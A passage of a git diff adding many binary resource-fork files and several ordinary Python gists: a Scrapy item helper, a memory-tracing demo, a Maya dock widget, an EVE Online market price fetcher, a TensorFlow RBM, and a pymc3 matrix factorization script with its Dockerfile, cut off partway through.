Binary files /dev/null and b/hard-gists/._f7d8b6cb045cbb65ab80 differ
diff --git a/hard-gists/._f7fdb8284643b1c175a9 b/hard-gists/._f7fdb8284643b1c175a9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f7fdb8284643b1c175a9 differ
diff --git a/hard-gists/._f85e89bef4b6e9b83f2a b/hard-gists/._f85e89bef4b6e9b83f2a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f85e89bef4b6e9b83f2a differ
diff --git a/hard-gists/._f884a43c59e26199591ec4e234d069f5 b/hard-gists/._f884a43c59e26199591ec4e234d069f5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f884a43c59e26199591ec4e234d069f5 differ
diff --git a/hard-gists/._f8ab99789fd347a13591bc7eeff97149 b/hard-gists/._f8ab99789fd347a13591bc7eeff97149
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f8ab99789fd347a13591bc7eeff97149 differ
diff --git a/hard-gists/._f8b86d001a367aa7dde1ab6b587246b5 b/hard-gists/._f8b86d001a367aa7dde1ab6b587246b5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f8b86d001a367aa7dde1ab6b587246b5 differ
diff --git a/hard-gists/._f8c9df05a65d311aa6ec b/hard-gists/._f8c9df05a65d311aa6ec
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f8c9df05a65d311aa6ec differ
diff --git a/hard-gists/._f93a377244be9bfcb96d3547b9bc424d b/hard-gists/._f93a377244be9bfcb96d3547b9bc424d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f93a377244be9bfcb96d3547b9bc424d differ
diff --git a/hard-gists/._f940f98fbbac84d35e8d b/hard-gists/._f940f98fbbac84d35e8d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f940f98fbbac84d35e8d differ
diff --git a/hard-gists/._f97205b73610dd30254652e7817f99cb b/hard-gists/._f97205b73610dd30254652e7817f99cb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f97205b73610dd30254652e7817f99cb differ
diff --git a/hard-gists/._fa0647722365f5a4b2ad b/hard-gists/._fa0647722365f5a4b2ad
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fa0647722365f5a4b2ad differ
diff --git a/hard-gists/._fa287fc6448f84004284f5c086f59661 b/hard-gists/._fa287fc6448f84004284f5c086f59661
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fa287fc6448f84004284f5c086f59661 differ
diff --git a/hard-gists/._fa43af59f3ecf9b10c88 b/hard-gists/._fa43af59f3ecf9b10c88
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fa43af59f3ecf9b10c88 differ
diff --git a/hard-gists/._fa5755c7f7fa49b47961 b/hard-gists/._fa5755c7f7fa49b47961
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fa5755c7f7fa49b47961 differ
diff --git a/hard-gists/._fb9d710bd20579771b40 b/hard-gists/._fb9d710bd20579771b40
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fb9d710bd20579771b40 differ
diff --git a/hard-gists/._fbadce83877a36622720 b/hard-gists/._fbadce83877a36622720
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fbadce83877a36622720 differ
diff --git a/hard-gists/._fbb19b73fa25423f02e8 b/hard-gists/._fbb19b73fa25423f02e8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fbb19b73fa25423f02e8 differ
diff --git a/hard-gists/._fbbdb1ba7c66cc4e1bb2 b/hard-gists/._fbbdb1ba7c66cc4e1bb2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fbbdb1ba7c66cc4e1bb2 differ
diff --git a/hard-gists/._fbca5503c391c265f958f49b60af6bae b/hard-gists/._fbca5503c391c265f958f49b60af6bae
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fbca5503c391c265f958f49b60af6bae differ
diff --git a/hard-gists/._fbecc71022b62515a484a4a33d13014d b/hard-gists/._fbecc71022b62515a484a4a33d13014d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fbecc71022b62515a484a4a33d13014d differ
diff --git a/hard-gists/._fc1527d6d9492b59c610 b/hard-gists/._fc1527d6d9492b59c610
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fc1527d6d9492b59c610 differ
diff --git a/hard-gists/._fc3589eeabaee9ac5c05 b/hard-gists/._fc3589eeabaee9ac5c05
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fc3589eeabaee9ac5c05 differ
diff --git a/hard-gists/._fcb9409ef1c1835fa5fb25a860991751 b/hard-gists/._fcb9409ef1c1835fa5fb25a860991751
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fcb9409ef1c1835fa5fb25a860991751 differ
diff --git a/hard-gists/._fcbdd3924ee230592ab4 b/hard-gists/._fcbdd3924ee230592ab4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fcbdd3924ee230592ab4 differ
diff --git a/hard-gists/._fd65891daf183d99d91cb83b89e2a4c7 b/hard-gists/._fd65891daf183d99d91cb83b89e2a4c7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fd65891daf183d99d91cb83b89e2a4c7 differ
diff --git a/hard-gists/._fd9ee43167f5cc1da130 b/hard-gists/._fd9ee43167f5cc1da130
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fd9ee43167f5cc1da130 differ
diff --git a/hard-gists/._fda9fd2a7a1e0bc458650ec4c3a0bf93 b/hard-gists/._fda9fd2a7a1e0bc458650ec4c3a0bf93
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fda9fd2a7a1e0bc458650ec4c3a0bf93 differ
diff --git a/hard-gists/._fdff82cc02b161d0141d b/hard-gists/._fdff82cc02b161d0141d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fdff82cc02b161d0141d differ
diff --git a/hard-gists/._fe0d232bda81f15e838b b/hard-gists/._fe0d232bda81f15e838b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fe0d232bda81f15e838b differ
diff --git a/hard-gists/._fe4fd5f27a4811cb0187 b/hard-gists/._fe4fd5f27a4811cb0187
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fe4fd5f27a4811cb0187 differ
diff --git a/hard-gists/._fe855653e9757e1ce8c4 b/hard-gists/._fe855653e9757e1ce8c4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fe855653e9757e1ce8c4 differ
diff --git a/hard-gists/._fe8e267149862eb67127f4fff7e017be b/hard-gists/._fe8e267149862eb67127f4fff7e017be
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._fe8e267149862eb67127f4fff7e017be differ
diff --git a/hard-gists/._feb86d4bdd9a658c122a706f26ba7e1e b/hard-gists/._feb86d4bdd9a658c122a706f26ba7e1e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._feb86d4bdd9a658c122a706f26ba7e1e differ
diff --git a/hard-gists/._ff122e8563793bb28f79 b/hard-gists/._ff122e8563793bb28f79
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ff122e8563793bb28f79 differ
diff --git a/hard-gists/._ff2f97d91c9bed820c15 b/hard-gists/._ff2f97d91c9bed820c15
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ff2f97d91c9bed820c15 differ
diff --git a/hard-gists/._ffb1b5f12d7ad787f6e4 b/hard-gists/._ffb1b5f12d7ad787f6e4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ffb1b5f12d7ad787f6e4 differ
diff --git a/hard-gists/._ffd436e0a7897c9e872d b/hard-gists/._ffd436e0a7897c9e872d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ffd436e0a7897c9e872d differ
diff --git a/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/._snippet.py b/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/._snippet.py differ
diff --git a/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/snippet.py b/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/snippet.py
new file mode 100644
index 00000000..78128eb6
--- /dev/null
+++ b/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/snippet.py
@@ -0,0 +1,33 @@
+import copy
+from scrapy import Item
+
+class ModelItem(Item):
+    """
+    Make Peewee models easily turn into Scrapy Items.
+
+    >>> from models import Player
+    >>> item = ModelItem(Player())
+    """
+
+    def __init__(self, model, **kwds):
+        super(self.__class__, self).__init__()
+        self._model = model
+        for key in model._meta.fields.keys():
+            self.fields[key] = Field()
+        if kwds is not None:
+            for key, processor in kwds.iteritems():
+                self.fields[key] = Field(input_processor=MapCompose(
+                    strip_whitespace, processor
+                ))
+
+    def __setitem__(self, key, value):
+        if key not in self.fields:
+            self.fields[key] = Field()
+        self._values[key] = value
+
+    def copy(self):
+        return copy.deepcopy(self)
+
+    @property
+    def model(self):
+        return self._model
\ No newline at end of file
diff --git a/hard-gists/000eccf3d66540d75def/._snippet.py b/hard-gists/000eccf3d66540d75def/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/000eccf3d66540d75def/._snippet.py differ
diff --git a/hard-gists/000eccf3d66540d75def/snippet.py b/hard-gists/000eccf3d66540d75def/snippet.py
new file mode 100644
index 00000000..a20f078a
--- /dev/null
+++ b/hard-gists/000eccf3d66540d75def/snippet.py
@@ -0,0 +1,31 @@
+import array
+import tracemalloc
+from contextlib import contextmanager
+
+@contextmanager
+def tracemem(msg):
+    tracemalloc.start()
+    snapshot1 = tracemalloc.take_snapshot()
+    yield
+    snapshot2 = tracemalloc.take_snapshot()
+    print(snapshot2.compare_to(snapshot1, 'lineno')[0])
+
+
+def main():
+    with tracemem('array'):
+        a = array.array('Q', range(10000000))
+    del a
+
+    with tracemem('list'):
+        l = list(range(10000000))
+    del l
+
+
+if __name__ == "__main__":
+    '''
+    Om my machine:
+    python3 -X tracemalloc test_allocations.py
+    test_allocations.py:16: size=78.1 MiB (+78.1 MiB), count=3 (+3), average=26.0 MiB
+    test_allocations.py:20: size=353 MiB (+353 MiB), count=9999745 (+9999745), average=37 B
+    '''
+    main()
\ No newline at end of file
diff --git a/hard-gists/00135b0dfee0ae165ad2/._snippet.py b/hard-gists/00135b0dfee0ae165ad2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/00135b0dfee0ae165ad2/._snippet.py differ
diff --git a/hard-gists/00135b0dfee0ae165ad2/snippet.py b/hard-gists/00135b0dfee0ae165ad2/snippet.py
new file mode 100644
index 00000000..bd7217fa
--- /dev/null
+++ b/hard-gists/00135b0dfee0ae165ad2/snippet.py
@@ -0,0 +1,30 @@
+from PyQt4 import QtGui, QtCore
+import maya.OpenMayaUI as mui
+import sip
+
+DOCK_OBJECT = "dock_name"
+DEFAULT_DOCK = QtCore.Qt.RightDockWidgetArea
+
+# Get Main Window
+pointer = mui.MQtUtil.mainWindow()
+maya_main_window = sip.wrapinstance(long(pointer), QtCore.QObject)
+
+# Check for existing dock
+existing_dock = maya_main_window.findChild(QtGui.QDockWidget, DOCK_OBJECT)
+if existing_dock:
+    existing_dock.deleteLater()
+
+# Create Your New DockWidget Instance here
+dock_instance = MyDockInstance()
+
+# Add to Dock
+# If Existing DockWdiget found on default DockArea then Dock is Tabified otherwise added as first DockWidget
+docked = False
+for dock_widget in maya_main_window.findChildren(QtGui.QDockWidget):
+    if maya_main_window.dockWidgetArea(dock_widget) == DEFAULT_DOCK:
+        maya_main_window.tabifyDockWidget(dock_widget, dock_instance)
+        docked = True
+        break
+
+if not docked:
+    maya_main_window.addDockWidget(DEFAULT_DOCK, dock_instance)
\ No newline at end of file
diff --git a/hard-gists/005bbad123ef309a5bef/._snippet.py b/hard-gists/005bbad123ef309a5bef/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/005bbad123ef309a5bef/._snippet.py differ
diff --git a/hard-gists/005bbad123ef309a5bef/snippet.py b/hard-gists/005bbad123ef309a5bef/snippet.py
new file mode 100644
index 00000000..8a5cd97f
--- /dev/null
+++ b/hard-gists/005bbad123ef309a5bef/snippet.py
@@ -0,0 +1,115 @@
+from sqlalchemy import create_engine
+import redis
+import time
+import requests
+import datetime
+import memcache
+
+
+def RateLimited(maxPerSecond):
+    minInterval = 1.0 / float(maxPerSecond)
+    def decorate(func):
+        lastTimeCalled = [0.0]
+        def rateLimitedFunction(*args,**kargs):
+            elapsed = time.clock() - lastTimeCalled[0]
+            leftToWait = minInterval - elapsed
+            if leftToWait>0:
+                time.sleep(leftToWait)
+            ret = func(*args,**kargs)
+            lastTimeCalled[0] = time.clock()
+            return ret
+        return rateLimitedFunction
+    return decorate
+
+
+
+
+@RateLimited(20)
+def getData(redisConnection,requestsConnection,memcacheConnection,typeid):
+    url="https://public-crest.eveonline.com/market/10000002/orders/sell/?type=https://public-crest.eveonline.com/types/"+str(typeid)+"/"
+
+    while True:
+        exceptionCounter=0
+        try:
+            selldata=requestsConnection.get(url)
+        except:
+            print str(typeid)+" exception :"+str(exceptionCounter)
+            exceptionCounter+=1
+            time.sleep(exceptionCounter)
+            continue
+        if selldata.status_code == 200:
+            break
+        # wait to retry
+        print typeid+" is failing with "+selldata.status_code
+        time.sleep(1)
+
+    data=selldata.json()
+    count=data['totalCount']
+    numberOfSellItems=0
+    sellPrice=dict()
+    for order in data['items']:
+        sellPrice[order['price']]=sellPrice.get(order['price'],0)+order['volume']
+        numberOfSellItems+=order['volume']
+
+    # generate statistics
+    if numberOfSellItems:
+        prices=sorted(sellPrice.keys())
+        fivePercent=max(numberOfSellItems/20,1)
+        bought=0
+        boughtPrice=0
+        while bought<fivePercent:
+            fivePercentPrice=prices.pop(0)
+            if fivePercent > bought+sellPrice[fivePercentPrice]:
+                boughtPrice+=sellPrice[fivePercentPrice]*fivePercentPrice;
+                bought+=sellPrice[fivePercentPrice]
+            else:
+                diff=fivePercent-bought
+                boughtPrice+=fivePercentPrice*diff
+                bought=fivePercent
+        averageSellPrice=boughtPrice/bought
+        now=datetime.datetime.utcnow()
+        timezone="+00:00"
+        timestring=now.strftime("%Y-%m-%dT%H:%M:%S")+timezone
+        value="{:0.2f}|{}|{}|{}".format(averageSellPrice,numberOfSellItems,fivePercent,timestring)
+        redisConnection.set("forgesell-"+str(typeid), value)
+        memcacheConnection.set("forgesell-"+str(typeid), value)
+        print typeid
+
+
+
+
+
+
+
+if __name__ == "__main__":
+    engine = create_engine('mysql://eve:eve@localhost:3306/eve', echo=False)
+    result = engine.execute("select typeid from invTypes join invGroups on invTypes.groupid=invGroups.groupid where marketgroupid is not null and categoryid != 350001 and invTypes.published=1 order by typeid asc")
+    # build the basic list
+    baseitemids=[]
+    for row in result:
+        baseitemids.append(row[0])
+    # Two redis connections. r for pushing in, sub for the pubsub.
+    rC = redis.StrictRedis(host='localhost', port=6379, db=0)
+    sub = redis.StrictRedis(host='localhost', port=6379, db=0)
+    feed = sub.pubsub(ignore_subscribe_messages=True)
+    feed.subscribe("forge-sell")
+    session = requests.Session()
+    session.headers.update({'UserAgent':'Fuzzwork Price Getter'});
+    mC=memcache.Client(["127.0.0.1:11211"])
+    itemids=list(baseitemids)
+    sleeptimer=0
+    while True:
+        # check for override
+        message = feed.get_message()
+        if message:
+            typeid=message['data']
+        else:
+            if len(itemids):
+                typeid=itemids.pop(0)
+            else:
+                time.sleep(1)
+                sleeptimer+=1
+                if sleeptimer==3600:
+                    itemids=list(baseitemsids)
+                continue
+        getData(rC,session,mC,typeid)
diff --git a/hard-gists/005ceac0483fc5a581cc/._snippet.py b/hard-gists/005ceac0483fc5a581cc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/005ceac0483fc5a581cc/._snippet.py differ
diff --git a/hard-gists/005ceac0483fc5a581cc/snippet.py b/hard-gists/005ceac0483fc5a581cc/snippet.py
new file mode 100644
index 00000000..e8fe3304
--- /dev/null
+++ b/hard-gists/005ceac0483fc5a581cc/snippet.py
@@ -0,0 +1,79 @@
+import tensorflow as tf
+import numpy as np
+import input_data
+import Image
+from util import tile_raster_images
+
+
+def sample_prob(probs):
+    return tf.nn.relu(
+        tf.sign(
+            probs - tf.random_uniform(tf.shape(probs))))
+
+alpha = 1.0
+batchsize = 100
+
+mnist = input_data.read_data_sets("MNIST_data/", one_hot=True)
+trX, trY, teX, teY = mnist.train.images, mnist.train.labels, mnist.test.images,\
+    mnist.test.labels
+
+X = tf.placeholder("float", [None, 784])
+Y = tf.placeholder("float", [None, 10])
+
+rbm_w = tf.placeholder("float", [784, 500])
+rbm_vb = tf.placeholder("float", [784])
+rbm_hb = tf.placeholder("float", [500])
+h0 = sample_prob(tf.nn.sigmoid(tf.matmul(X, rbm_w) + rbm_hb))
+v1 = sample_prob(tf.nn.sigmoid(
+    tf.matmul(h0, tf.transpose(rbm_w)) + rbm_vb))
+h1 = tf.nn.sigmoid(tf.matmul(v1, rbm_w) + rbm_hb)
+w_positive_grad = tf.matmul(tf.transpose(X), h0)
+w_negative_grad = tf.matmul(tf.transpose(v1), h1)
+update_w = rbm_w + alpha * \
+    (w_positive_grad - w_negative_grad) / tf.to_float(tf.shape(X)[0])
+update_vb = rbm_vb + alpha * tf.reduce_mean(X - v1, 0)
+update_hb = rbm_hb + alpha * tf.reduce_mean(h0 - h1, 0)
+
+h_sample = sample_prob(tf.nn.sigmoid(tf.matmul(X, rbm_w) + rbm_hb))
+v_sample = sample_prob(tf.nn.sigmoid(
+    tf.matmul(h_sample, tf.transpose(rbm_w)) + rbm_vb))
+err = X - v_sample
+err_sum = tf.reduce_mean(err * err)
+
+sess = tf.Session()
+init = tf.initialize_all_variables()
+sess.run(init)
+
+n_w = np.zeros([784, 500], np.float32)
+n_vb = np.zeros([784], np.float32)
+n_hb = np.zeros([500], np.float32)
+o_w = np.zeros([784, 500], np.float32)
+o_vb = np.zeros([784], np.float32)
+o_hb = np.zeros([500], np.float32)
+print sess.run(
+    err_sum, feed_dict={X: trX, rbm_w: o_w, rbm_vb: o_vb, rbm_hb: o_hb})
+
+for start, end in zip(
+        range(0, len(trX), batchsize), range(batchsize, len(trX), batchsize)):
+    batch = trX[start:end]
+    n_w = sess.run(update_w, feed_dict={
+                   X: batch, rbm_w: o_w, rbm_vb: o_vb, rbm_hb: o_hb})
+    n_vb = sess.run(update_vb, feed_dict={
+                    X: batch, rbm_w: o_w, rbm_vb: o_vb, rbm_hb: o_hb})
+    n_hb = sess.run(update_hb, feed_dict={
+                    X: batch, rbm_w: o_w, rbm_vb: o_vb, rbm_hb: o_hb})
+    o_w = n_w
+    o_vb = n_vb
+    o_hb = n_hb
+    if start % 10000 == 0:
+        print sess.run(
+            err_sum, feed_dict={X: trX, rbm_w: n_w, rbm_vb: n_vb, rbm_hb: n_hb})
+        image = Image.fromarray(
+            tile_raster_images(
+                X=n_w.T,
+                img_shape=(28, 28),
+                tile_shape=(25, 20),
+                tile_spacing=(1, 1)
+            )
+        )
+        image.save("rbm_%d.png" % (start / 10000))
\ No newline at end of file
diff --git a/hard-gists/00a17b1d374dfc267a9a/._snippet.py b/hard-gists/00a17b1d374dfc267a9a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/00a17b1d374dfc267a9a/._snippet.py differ
diff --git a/hard-gists/00a17b1d374dfc267a9a/Dockerfile-llm-3.8 b/hard-gists/00a17b1d374dfc267a9a/Dockerfile-llm-3.8
new file mode 100644
index 00000000..ae57ff9a
--- /dev/null
+++ b/hard-gists/00a17b1d374dfc267a9a/Dockerfile-llm-3.8
@@ -0,0 +1,12 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","pymc3==1.0.0"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","theano==1.0.0"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/00a17b1d374dfc267a9a/modules/pymc3_2.7.txt b/hard-gists/00a17b1d374dfc267a9a/modules/pymc3_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/00a17b1d374dfc267a9a/modules/pymc3_3.8.txt b/hard-gists/00a17b1d374dfc267a9a/modules/pymc3_3.8.txt
new file mode 100644
index 00000000..501dbbfb
--- /dev/null
+++ b/hard-gists/00a17b1d374dfc267a9a/modules/pymc3_3.8.txt
@@ -0,0 +1 @@
+3.0, 3.0.rc1, 3.0rc2, 3.0rc4, 3.0rc5, 3.0rc6, 3.1, 3.1rc1, 3.1rc2, 3.1rc3, 3.2, 3.2rc1, 3.3, 3.7, 3.8, 3.9.0, 3.9.1, 3.9.2, 3.9.3, 3.10.0, 3.11.0, 3.11.1, 3.11.2, 3.11.3, 3.11.4, 3.11.5, 3.11.6
\ No newline at end of file
diff --git a/hard-gists/00a17b1d374dfc267a9a/modules/scipy_2.7.txt b/hard-gists/00a17b1d374dfc267a9a/modules/scipy_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/00a17b1d374dfc267a9a/modules/theano_2.7.txt b/hard-gists/00a17b1d374dfc267a9a/modules/theano_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/00a17b1d374dfc267a9a/modules/theano_3.8.txt b/hard-gists/00a17b1d374dfc267a9a/modules/theano_3.8.txt
new file mode 100644
index 00000000..8a3afafb
--- /dev/null
+++ b/hard-gists/00a17b1d374dfc267a9a/modules/theano_3.8.txt
@@ -0,0 +1 @@
+0.3.0, 0.3.0rc4, 0.3.1, 0.3.1rc1, 0.3.1rc2, 0.4.0, 0.4.0rc1, 0.4.0rc2, 0.4.0rc3, 0.4.0rc4, 0.4.1, 0.4.1rc1, 0.4.1rc2, 0.5.0, 0.5.0rc1, 0.5.0rc2, 0.6.0, 0.10.0b1, 0.10.0b2, 0.10.0beta3, 0.10.0beta4, 1.0.5
\ No newline at end of file
diff --git a/hard-gists/00a17b1d374dfc267a9a/snippet.py b/hard-gists/00a17b1d374dfc267a9a/snippet.py
new file mode 100644
index 00000000..84e43716
--- /dev/null
+++ b/hard-gists/00a17b1d374dfc267a9a/snippet.py
@@ -0,0 +1,271 @@
+"""
+Implementations of:
+
+    Probabilistic Matrix Factorization (PMF) [1],
+    Bayesian PMF (BPMF) [2],
+    Modified BPFM (mBPMF)
+
+using `pymc3`. mBPMF is, to my knowledge, my own creation. It is an attempt
+to circumvent the limitations of `pymc3` w/regards to the Wishart distribution:
+
+    https://github.com/pymc-devs/pymc3/commit/642f63973ec9f807fb6e55a0fc4b31bdfa1f261e
+
+[1]  http://papers.nips.cc/paper/3208-probabilistic-matrix-factorization.pdf
+[2]  https://www.cs.toronto.edu/~amnih/papers/bpmf.pdf
+
+"""
+import sys
+import time
+import logging
+
+import pymc3 as pm
+import numpy as np
+import pandas as pd
+import theano
+import theano.tensor as t
+import scipy as sp
+
+
+DATA_NOT_FOUND = -1
+
+
+# data from: https://gist.github.com/macks22/b40ac9c685e920ad3ca2
+def read_jester_data(fname='jester-dense-subset-100x20.csv'):
+    """Read dense Jester dataset and split train/test data randomly.
+    We use a 0.9:0.1 Train:Test split.
+    """
+    logging.info('reading data')
+    try:
+        data = pd.read_csv(fname)
+    except IOError as err:
+        print str(err)
+        url = 'https://gist.github.com/macks22/b40ac9c685e920ad3ca2'
+        print 'download from: %s' % url
+        sys.exit(DATA_NOT_FOUND)
+
+    # Calculate split sizes.
+    logging.info('splitting train/test sets')
+    n, m = data.shape           # # users, # jokes
+    N = n * m                   # # cells in matrix
+    test_size = N / 10          # use 10% of data as test set
+    train_size = N - test_size  # and remainder for training
+
+    # Prepare train/test ndarrays.
+    train = data.copy().values
+    test = np.ones(data.shape) * np.nan
+
+    # Draw random sample of training data to use for testing.
+    tosample = np.where(~np.isnan(train))        # only sample non-missing values
+    idx_pairs = zip(tosample[0], tosample[1])    # zip row/col indices
+    indices = np.arange(len(idx_pairs))          # indices of row/col index pairs
+    sample = np.random.choice(indices, replace=False, size=test_size)  # draw sample
+
+    # Transfer random sample from train set to test set.
+    for idx in sample:
+        idx_pair = idx_pairs[idx]         # retrieve sampled index pair
+        test[idx_pair] = train[idx_pair]  # transfer to test set
+        train[idx_pair] = np.nan          # remove from train set
+
+    # Verify everything worked properly
+    assert(np.isnan(train).sum() == test_size)
+    assert(np.isnan(test).sum() == train_size)
+
+    # Return the two numpy ndarrays
+    return train, test
+
+
+def build_pmf_model(train, alpha=2, dim=10, std=0.01):
+    """Construct the Probabilistic Matrix Factorization model using pymc3.
+    Note that the `testval` param for U and V initialize the model away from
+    0 using a small amount of Gaussian noise.
+
+    :param np.ndarray train: Training data (observed) to learn the model on.
+    :param int alpha: Fixed precision to use for the rating likelihood function.
+    :param int dim: Dimensionality of the model; rank of low-rank approximation.
+    :param float std: Standard deviation for Gaussian noise in model initialization.
+    """
+    # Mean value imputation on training data.
+    train = train.copy()
+    nan_mask = np.isnan(train)
+    train[nan_mask] = train[~nan_mask].mean()
+
+    # Low precision reflects uncertainty; prevents overfitting.
+    # We use point estimates from the data to intialize.
+    # Set to mean variance across users and items.
+    alpha_u = 1 / train.var(axis=1).mean()
+    alpha_v = 1 / train.var(axis=0).mean()
+
+    logging.info('building the PMF model')
+    n, m = train.shape
+    with pm.Model() as pmf:
+        U = pm.MvNormal(
+            'U', mu=0, tau=alpha_u * np.eye(dim),
+            shape=(n, dim), testval=np.random.randn(n, dim) * std)
+        V = pm.MvNormal(
+            'V', mu=0, tau=alpha_v * np.eye(dim),
+            shape=(m, dim), testval=np.random.randn(m, dim) * std)
+        R = pm.Normal(
+            'R', mu=t.dot(U, V.T), tau=alpha * np.ones(train.shape),
+            observed=train)
+
+    logging.info('done building PMF model')
+    return pmf
+
+
+def build_bpmf_model(train, alpha=2, dim=10, std=0.01):
+    """Build the original BPMF model, which we cannot sample from due to
+    current limitations in pymc3's implementation of the Wishart distribution.
+    """
+    n, m = train.shape
+    beta_0 = 1  # scaling factor for lambdas; unclear on its use
+
+    # Mean value imputation on training data.
+    train = train.copy()
+    nan_mask = np.isnan(train)
+    train[nan_mask] = train[~nan_mask].mean()
+
+    logging.info('building the BPMF model')
+    with pm.Model() as bpmf:
+        # Specify user feature matrix
+        lambda_u = pm.Wishart(
+            'lambda_u', n=dim, V=np.eye(dim), shape=(dim, dim),
+            testval=np.random.randn(dim, dim) * std)
+        mu_u = pm.Normal(
+            'mu_u', mu=0, tau=beta_0 * lambda_u, shape=dim,
+            testval=np.random.randn(dim) * std)
+        U = pm.MvNormal(
+            'U', mu=mu_u, tau=lambda_u, shape=(n, dim),
+            testval=np.random.randn(n, dim) * std)
+
+        # Specify item feature matrix
+        lambda_v = pm.Wishart(
+            'lambda_v', n=dim, V=np.eye(dim), shape=(dim, dim),
+            testval=np.random.randn(dim, dim) * std)
+        mu_v = pm.Normal(
+            'mu_v', mu=0, tau=beta_0 * lambda_v, shape=dim,
+             testval=np.random.randn(dim) * std)
+        V = pm.MvNormal(
+            'V', mu=mu_v, tau=lambda_v, shape=(m, dim),
+            testval=np.random.randn(m, dim) * std)
+
+        # Specify rating likelihood function
+        R = pm.Normal(
+            'R', mu=t.dot(U, V.T), tau=alpha * np.ones((n, m)),
+            observed=train)
+
+    logging.info('done building the BPMF model')
+    return bpmf
+
+
+def build_mod_bpmf_model(train, alpha=2, dim=10, std=0.01):
+    """Build the modified BPMF model using pymc3. The original model uses
+    Wishart priors on the covariance matrices. Unfortunately, the Wishart
+    distribution in pymc3 is currently not suitable for sampling. This
+    version decomposes the covariance matrix into:
+
+        diag(sigma) \dot corr_matrix \dot diag(std).
+
+    We use uniform priors on the standard deviations (sigma) and LKJCorr
+    priors on the correlation matrices (corr_matrix):
+
+        sigma ~ Uniform
+        corr_matrix ~ LKJCorr(n=1, p=dim)
+
+    """
+    n, m = train.shape
+    beta_0 = 1  # scaling factor for lambdas; unclear on its use
+
+    # Mean value imputation on training data.
+    train = train.copy()
+    nan_mask = np.isnan(train)
+    train[nan_mask] = train[~nan_mask].mean()
+
+    # We will use separate priors for sigma and correlation matrix.
+    # In order to convert the upper triangular correlation values to a
+    # complete correlation matrix, we need to construct an index matrix:
+    n_elem = dim * (dim - 1) / 2
+    tri_index = np.zeros([dim, dim], dtype=int)
+    tri_index[np.triu_indices(dim, k=1)] = np.arange(n_elem)
+    tri_index[np.triu_indices(dim, k=1)[::-1]] = np.arange(n_elem)
+
+    logging.info('building the BPMF model')
+    with pm.Model() as bpmf:
+        # Specify user feature matrix
+        sigma_u = pm.Uniform('sigma_u', shape=dim)
+        corr_triangle_u = pm.LKJCorr(
+            'corr_u', n=1, p=dim,
+            testval=np.random.randn(n_elem) * std)
+
+        corr_matrix_u = corr_triangle_u[tri_index]
